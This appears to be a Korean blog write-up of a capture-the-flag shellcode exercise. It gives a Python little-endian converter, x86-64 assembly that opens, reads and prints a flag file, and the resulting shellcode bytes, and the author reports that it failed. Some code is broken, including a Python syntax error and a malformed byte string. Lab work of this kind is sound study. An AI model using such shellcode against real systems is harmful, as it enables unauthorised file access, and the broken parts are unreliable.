import binascii
def print_little_endian_8bytes(input_string):
hex_string = binascii.hexlify(input_string.encode()).decode()
byte_list = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)]
for i in range(0, len(byte_list), 8):
bytes_8 = byte_list[i:i+8]
bytes_8_little_endian = "".join(bytes_8[::-1])
print(bytes_8_little_endian)
def print_little_endian_4bytes(input_string):
hex_string = binascii.hexlify(input_string.encode()).decode()
byte_list = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)]
for i in range(0, len(byte_list), 4):
bytes_4 = byte_list[i:i+4]
bytes_4_little_endian = "".join(bytes_4[::-1])
print(bytes_4_little_endian)
def main(input_string, input_byte):
if input_byte == 4:
print_little_endian_4bytes(input_string)
elif input_byte == 8:
print_little_endian_8bytes(input_string)
else:
print("NO")
if __name__ = "__main__":
input_string = input("Enter the text you want to convert: ")
input_byte = int(input("Enter 4 or 8 bytes you want: "))
main(input_string, input_byte)
- Flag 디렉터리 경로를 littleEndian으로 변환해주기 위해 코드를 만들었다.
- flag 경로 넣어주고 syscall에 맞춰서 파라미터 세팅해주면 된다.
section .text
global _start
_start:
; syscall Open
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
mov rax, 0x02
xor rsi, rsi
xor rdx, rdx
syscall
; syscall Read
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
; syscall Write
mov rdi, 1
mov rax, 0x1
syscall
; syscall Exit
mov rax, 0x3c
mov rdi, 0
syscall
- asm code 작성해주고 저번에 만들었던 셸코드 변환 python을
- nasm 옵션 elf64로 바꿔주고 실행
- -- shellcode --
FileName = shellcode/shell_basic
48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05
- 처음으로 내 힘으로 만들어본 쉘코드라 굉장히 기대가 된다.
![](https://velog.velcdn.com/images/dongtime/post/be1a1226-700a-4e69-9c25-2c0f6eb7e1a1/image.png)
- 안되네..... 에휴...